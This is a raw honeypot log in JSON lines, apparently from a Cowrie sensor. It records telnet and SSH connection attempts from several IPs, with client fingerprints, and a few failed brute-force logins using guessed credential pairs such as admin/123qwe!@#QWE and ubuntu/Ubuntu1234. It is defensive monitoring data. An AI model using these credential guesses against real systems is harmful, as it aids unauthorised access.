{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":9482,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc8a401660a","protocol":"telnet","message":"New connection: 34.78.121.136:9482 (10.17.0.5:23) [session: acc8a401660a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.825382Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38472,"dst_ip":"10.17.0.5","dst_port":23,"session":"32af440f3f9e","protocol":"telnet","message":"New connection: 34.78.121.136:38472 (10.17.0.5:23) [session: 32af440f3f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.979725Z"}
{"eventid":"cowrie.session.closed","duration":0.006194591522216797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:07.985801Z","src_ip":"34.78.121.136","session":"32af440f3f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38484,"dst_ip":"10.17.0.5","dst_port":23,"session":"93cd295eccba","protocol":"telnet","message":"New connection: 34.78.121.136:38484 (10.17.0.5:23) [session: 93cd295eccba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.136797Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f83a1315fd","protocol":"telnet","message":"New connection: 34.78.121.136:38492 (10.17.0.5:23) [session: 54f83a1315fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.295133Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38500,"dst_ip":"10.17.0.5","dst_port":23,"session":"581234207e1a","protocol":"telnet","message":"New connection: 34.78.121.136:38500 (10.17.0.5:23) [session: 581234207e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.451758Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7abc8100ab47","protocol":"telnet","message":"New connection: 34.78.121.136:38506 (10.17.0.5:23) [session: 7abc8100ab47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.612138Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c793aed1c994","protocol":"telnet","message":"New connection: 34.78.121.136:38520 (10.17.0.5:23) [session: c793aed1c994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.771098Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"57e26e9999e6","protocol":"telnet","message":"New connection: 34.78.121.136:38532 (10.17.0.5:23) [session: 57e26e9999e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:08.929694Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb2946e7e27","protocol":"telnet","message":"New connection: 34.78.121.136:38534 (10.17.0.5:23) [session: cdb2946e7e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.086105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38536,"dst_ip":"10.17.0.5","dst_port":23,"session":"9da091ca8fe9","protocol":"telnet","message":"New connection: 34.78.121.136:38536 (10.17.0.5:23) [session: 9da091ca8fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.242607Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38544,"dst_ip":"10.17.0.5","dst_port":23,"session":"35859f63afd8","protocol":"telnet","message":"New connection: 34.78.121.136:38544 (10.17.0.5:23) [session: 35859f63afd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.399451Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.405340Z","src_ip":"34.78.121.136","session":"35859f63afd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38550,"dst_ip":"10.17.0.5","dst_port":23,"session":"0189d9ce3113","protocol":"telnet","message":"New connection: 34.78.121.136:38550 (10.17.0.5:23) [session: 0189d9ce3113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.560165Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"f334cc92a27f","protocol":"telnet","message":"New connection: 34.78.121.136:38552 (10.17.0.5:23) [session: f334cc92a27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.718467Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38566,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cad916889c2","protocol":"telnet","message":"New connection: 34.78.121.136:38566 (10.17.0.5:23) [session: 5cad916889c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:09.874822Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38582,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7f0abd6917b","protocol":"telnet","message":"New connection: 34.78.121.136:38582 (10.17.0.5:23) [session: f7f0abd6917b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.032880Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dc4a8e1033","protocol":"telnet","message":"New connection: 34.78.121.136:38598 (10.17.0.5:23) [session: 57dc4a8e1033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.189826Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38606,"dst_ip":"10.17.0.5","dst_port":23,"session":"e49515bddc3d","protocol":"telnet","message":"New connection: 34.78.121.136:38606 (10.17.0.5:23) [session: e49515bddc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.345015Z"}
{"eventid":"cowrie.session.closed","duration":0.008643627166748047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.353471Z","src_ip":"34.78.121.136","session":"e49515bddc3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38614,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa368c587423","protocol":"telnet","message":"New connection: 34.78.121.136:38614 (10.17.0.5:23) [session: fa368c587423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.505224Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.121.136","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b31e504108b","protocol":"telnet","message":"New connection: 34.78.121.136:38622 (10.17.0.5:23) [session: 3b31e504108b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.661917Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8582","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:10.668087Z","src_ip":"34.78.121.136","session":"3b31e504108b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53764,"dst_ip":"10.17.0.5","dst_port":23,"session":"e265e3ce262a","protocol":"telnet","message":"New connection: 188.208.141.113:53764 (10.17.0.5:23) [session: e265e3ce262a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:12.008539Z"}
{"eventid":"cowrie.session.closed","duration":46.665534257888794,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:13.343644Z","src_ip":"188.208.141.113","session":"ac034c5f39b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.446566820144653,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.041615Z","src_ip":"34.78.121.136","session":"4c48b69c32d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.33005976676941,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.048373Z","src_ip":"34.78.121.136","session":"f334cc92a27f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.492031812667847,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.052062Z","src_ip":"34.78.121.136","session":"0189d9ce3113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.65669059753418,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.056000Z","src_ip":"34.78.121.136","session":"35859f63afd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.816805362701416,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.059248Z","src_ip":"34.78.121.136","session":"9da091ca8fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.976569414138794,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.062547Z","src_ip":"34.78.121.136","session":"cdb2946e7e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.136424541473389,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.065996Z","src_ip":"34.78.121.136","session":"57e26e9999e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.29824423789978,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.069164Z","src_ip":"34.78.121.136","session":"c793aed1c994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.465622425079346,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.077600Z","src_ip":"34.78.121.136","session":"7abc8100ab47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.629791498184204,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.081386Z","src_ip":"34.78.121.136","session":"581234207e1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.789889812469482,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.084831Z","src_ip":"34.78.121.136","session":"54f83a1315fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.951937913894653,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.088605Z","src_ip":"34.78.121.136","session":"93cd295eccba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.266642808914185,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.091883Z","src_ip":"34.78.121.136","session":"acc8a401660a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.654439210891724,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.095156Z","src_ip":"34.78.121.136","session":"872db2503252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.463298082351685,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.125096Z","src_ip":"34.78.121.136","session":"3b31e504108b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.626158952713013,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.131273Z","src_ip":"34.78.121.136","session":"fa368c587423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.945668697357178,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.135313Z","src_ip":"34.78.121.136","session":"57dc4a8e1033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.10632038116455,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.139086Z","src_ip":"34.78.121.136","session":"f7f0abd6917b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.27247142791748,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:18.147058Z","src_ip":"34.78.121.136","session":"5cad916889c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36274,"dst_ip":"10.17.0.5","dst_port":23,"session":"e004a2d2f2ee","protocol":"telnet","message":"New connection: 104.245.105.2:36274 (10.17.0.5:23) [session: e004a2d2f2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:26.216414Z"}
{"eventid":"cowrie.session.closed","duration":40.92840528488159,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:38.044037Z","src_ip":"188.208.141.113","session":"e4ab73acd779","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49984,"dst_ip":"10.17.0.5","dst_port":23,"session":"f068637db740","protocol":"telnet","message":"New connection: 104.245.105.2:49984 (10.17.0.5:23) [session: f068637db740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:39.071295Z"}
{"eventid":"cowrie.session.closed","duration":42.34845590591431,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:54.356862Z","src_ip":"188.208.141.113","session":"e265e3ce262a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":38402,"dst_ip":"10.17.0.5","dst_port":22,"session":"44eb19993ece","protocol":"ssh","message":"New connection: 61.222.211.114:38402 (10.17.0.5:22) [session: 44eb19993ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:58.085582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:58.089522Z","src_ip":"61.222.211.114","session":"44eb19993ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:58.294960Z","src_ip":"61.222.211.114","session":"44eb19993ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.08467149734497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:58.300960Z","src_ip":"104.245.105.2","session":"e004a2d2f2ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe!@#QWE","message":"login attempt [admin/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:05:59.143725Z","src_ip":"61.222.211.114","session":"44eb19993ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:00.350885Z","src_ip":"61.222.211.114","session":"44eb19993ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.852763175964355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:10.923943Z","src_ip":"104.245.105.2","session":"f068637db740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":54112,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba65347b84b","protocol":"ssh","message":"New connection: 190.108.60.10:54112 (10.17.0.5:22) [session: 5ba65347b84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:12.980420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:12.997024Z","src_ip":"190.108.60.10","session":"5ba65347b84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:13.211636Z","src_ip":"190.108.60.10","session":"5ba65347b84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"useruser","password":"useruser","message":"login attempt [useruser/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:14.099869Z","src_ip":"190.108.60.10","session":"5ba65347b84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:15.313243Z","src_ip":"190.108.60.10","session":"5ba65347b84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52382,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6dabaac92d2","protocol":"ssh","message":"New connection: 61.222.211.114:52382 (10.17.0.5:22) [session: a6dabaac92d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:55.170660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:55.175719Z","src_ip":"61.222.211.114","session":"a6dabaac92d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:55.381261Z","src_ip":"61.222.211.114","session":"a6dabaac92d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu1234","message":"login attempt [ubuntu/Ubuntu1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:56.232315Z","src_ip":"61.222.211.114","session":"a6dabaac92d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:06:57.439950Z","src_ip":"61.222.211.114","session":"a6dabaac92d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":43286,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d0890ebdc6","protocol":"ssh","message":"New connection: 190.108.60.10:43286 (10.17.0.5:22) [session: 12d0890ebdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:22.364887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:07:22.370123Z","src_ip":"190.108.60.10","session":"12d0890ebdc6","protocol":"ssh"}
